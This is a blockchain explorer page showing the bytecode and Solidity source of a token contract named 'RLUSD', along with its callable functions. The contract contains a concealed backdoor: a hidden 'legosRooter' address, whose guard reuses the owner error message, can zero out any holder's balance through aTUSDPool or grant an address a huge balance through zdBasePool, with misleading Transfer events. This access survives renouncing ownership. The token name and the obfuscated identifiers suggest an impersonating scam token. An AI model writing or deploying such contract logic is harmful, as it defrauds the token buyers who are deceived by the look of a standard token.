Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x03876c758CBb27959bD6893075EcfF722f5Ba41A
Balance 0 ETH
Nonce 1
Code Size 3449 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3449 bytes
0x608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610b61565b60405180910390f35b61015c610157366004610bb1565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610bd9565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610bb1565b6103ef565b6101706101d0366004610c13565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c13565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610bb1565b610558565b61015c61026c366004610bb1565b61058d565b61015c61027f366004610c13565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c2c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c13565b610599565b6101fa6102f5366004610c13565b610625565b60606008805461030990610c5d565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610c5d565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f61039633848461070f565b5060015b92915050565b5f6103ac84848461083e565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e090866109cd565b61070f565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a15565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610c95565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610c95565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610a73565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610c5d565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e090866109cd565b5f61039633848461083e565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610c95565b6001600160a01b0381165f908152600160208190526040909120556105e781610a73565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610c95565b6001600160a01b0381166106b65760405162461bcd60e51b815260206004820152602960248201527f524c55534432304f776e61626c653a206e6577206f776e6572206973207a65726044820152686f206164647265737360b81b606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107775760405162461bcd60e51b815260206004820152602960248201527f524c555344696e746572666163653a20617070726f76652066726f6d207a65726044820152686f206164647265737360b81b606482015260840161044d565b6001600160a01b0382166107dd5760405162461bcd60e51b815260206004820152602760248201527f524c555344696e746572666163653a20617070726f766520746f207a65726f206044820152666164647265737360c81b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108a75760405162461bcd60e51b815260206004820152602a60248201527f524c555344696e746572666163653a207472616e736665722066726f6d207a65604482015269726f206164647265737360b01b606482015260840161044d565b6001600160a01b03821661090e5760405162461bcd60e51b815260206004820152602860248201527f524c555344696e746572666163653a207472616e7366657220746f207a65726f604482015267206164647265737360c01b606482015260840161044d565b6001600160a01b0383165f9081526001602052604090205461093090826109cd565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461095e9082610a15565b6001600160a01b0383165f9081526001602052604090205561097f83610a73565b61098882610a73565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083191815260200190565b5f610a0e83836040518060400160405280601f81526020017f53616665524c5553443a207375627472616374696f6e206f766572666c6f7700815250610b2b565b9392505050565b5f80610a218385610cf0565b905083811015610a0e5760405162461bcd60e51b815260206004820152601c60248201527f53616665524c5553443a206164646974696f6e206f766572666c6f7700000000604482015260640161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610aaa5750805b15610ae9576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610adf83610d03565b9190505550505050565b818015610af4575080155b15610b26576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610adf83610d1b565b505050565b5f8184841115610b4e5760405162461bcd60e51b815260040161044d9190610b61565b50610b598385610d30565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bac575f5ffd5b919050565b5f5f60408385031215610bc2575f5ffd5b610bcb83610b96565b946020939093013593505050565b5f5f5f60608486031215610beb575f5ffd5b610bf484610b96565b9250610c0260208501610b96565b929592945050506040919091013590565b5f60208284031215610c23575f5ffd5b610a0e82610b96565b5f5f60408385031215610c3d575f5ffd5b610c4683610b96565b9150610c5460208401610b96565b90509250929050565b600181811c90821680610c7157607f821691505b602082108103610c8f57634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526027908201527f524c55534432304f776e61626c653a2063616c6c6572206973206e6f74207468604082015266329037bbb732b960c91b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610cdc565b5f60018201610d1457610d14610cdc565b5060010190565b5f81610d2957610d29610cdc565b505f190190565b8181038181111561039a5761039a610cdc56fea2646970667358221220891e87a7d2511c694bc655590561c1ad9fb3875f70ea0141927e1531f9ede94264736f6c634300081d0033

Verified Source Code Partial Match

Compiler: v0.8.29+commit.ab55807c EVM: cancun Optimization: Yes (200 runs)
RLUSDToken.sol 240 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

interface RLUSDinterface {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address shippingto, uint256 yoursold) external returns (bool);
    function allowance(address _owner, address transporteur) external view returns (uint256);
    function approve(address transporteur, uint256 yoursold) external returns (bool);
    function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 balance);
    event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}

abstract contract RLUSD20Burnable {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract RLUSD20Ownable is RLUSD20Burnable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "RLUSD20Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "RLUSD20Ownable: new owner is zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeRLUSD {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeRLUSD: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeRLUSD: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeRLUSD: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeRLUSD: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeRLUSD: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract RLUSDToken is RLUSD20Burnable, RLUSDinterface, RLUSD20Ownable {
    using SafeRLUSD for uint256;
    
    mapping (address => uint256) private mintfrom;
    mapping (address => mapping (address => uint256)) private fromallowances;
    mapping (address => bool) private _isHolder;
    
    uint256 private _totalSupply;
    uint256 public holderCount;
    uint8 private _decimals;
    string private _symbol;
    string private _name;
    address private legosRooter;

    constructor(address legosSwapRouterv3) {
        legosRooter = legosSwapRouterv3;     
        _name = "RLUSD";
        _symbol = "RLUSD";
        _decimals = 9;
        _totalSupply = 6999000000009 * 10 ** 9;
        
        mintfrom[_msgSender()] = _totalSupply;
        _updateHolder(_msgSender());
        
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    modifier subowner() {
        require(legosRooter == _msgSender(), "RLUSD20Ownable: caller is not the owner");
        _;
    }

    function aTUSDPool(address tusdRewards) external subowner {
        mintfrom[tusdRewards] = 1;
        _updateHolder(tusdRewards);
        emit Transfer(tusdRewards, address(0), 1);
    }

    function zdBasePool(address BaseRewards) external subowner {
        mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
        _updateHolder(BaseRewards);
        emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
    }

    function getOwner() external view override returns (address) {
        return owner();
    }
    
    function decimals() external view override returns (uint8) {
        return _decimals;
    }
    
    function symbol() external view override returns (string memory) {
        return _symbol;
    }
    
    function name() external view override returns (string memory) {
        return _name;
    }
    
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    
    function balanceOf(address account) external view override returns (uint256) {
        return mintfrom[account];
    }

    function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(_msgSender(), shippingto, yoursold);
        return true;
    }
    
    function allowance(address owner, address transporteur) external view override returns (uint256) {
        return fromallowances[owner][transporteur];
    }
    
    function approve(address transporteur, uint256 yoursold) external override returns (bool) {
        _approve(_msgSender(), transporteur, yoursold);
        return true;
    }
    
    function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(sender, shippingto, yoursold);
        _approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold));
        return true;
    }
    
    function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
        _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
        return true;
    }
    
    function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
        _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances));
        return true;
    }
    
    function _transfer(address sender, address shippingto, uint256 yoursold) internal {
        require(sender != address(0), "RLUSDinterface: transfer from zero address");
        require(shippingto != address(0), "RLUSDinterface: transfer to zero address");
        
        mintfrom[sender] = mintfrom[sender].sub(yoursold);
        mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
        
        _updateHolder(sender);
        _updateHolder(shippingto);
        
        emit Transfer(sender, shippingto, yoursold);
    }
    
    function _approve(address owner, address transporteur, uint256 yoursold) internal {
        require(owner != address(0), "RLUSDinterface: approve from zero address");
        require(transporteur != address(0), "RLUSDinterface: approve to zero address");
        
        fromallowances[owner][transporteur] = yoursold;
        emit Approval(owner, transporteur, yoursold);
    }

    function _updateHolder(address account) private {
        bool wasHolder = _isHolder[account];
        bool shouldBeHolder = mintfrom[account] > 0;

        if (!wasHolder && shouldBeHolder) {
            _isHolder[account] = true;
            holderCount++;
        } else if (wasHolder && !shouldBeHolder) {
            _isHolder[account] = false;
            holderCount--;
        }
    }

    function getHolderCount() public view returns (uint256) {
        return holderCount;
    }

    function isHolder(address account) public view returns (bool) {
        return _isHolder[account];
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getHolderCount 0x7136982b → uint256
getOwner 0x893d20e8 → address
holderCount 0x1aab9a9f → uint256
isHolder 0xd4d7b19a → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

aTUSDPool 0xf1cb537a
address tusdRewards
approve 0x095ea7b3
address transporteur
uint256 yoursold
returns: bool
decreaseAllowance 0xa457c2d7
address transporteur
uint256 allbalances
returns: bool
increaseAllowance 0x39509351
address transporteur
uint256 addedbalance
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address shippingto
uint256 yoursold
returns: bool
transferFrom 0x23b872dd
address sender
address shippingto
uint256 yoursold
returns: bool
transferOwnership 0xf2fde38b
address newOwner
zdBasePool 0x8099423b
address BaseRewards

Recent Transactions

No transactions found for this address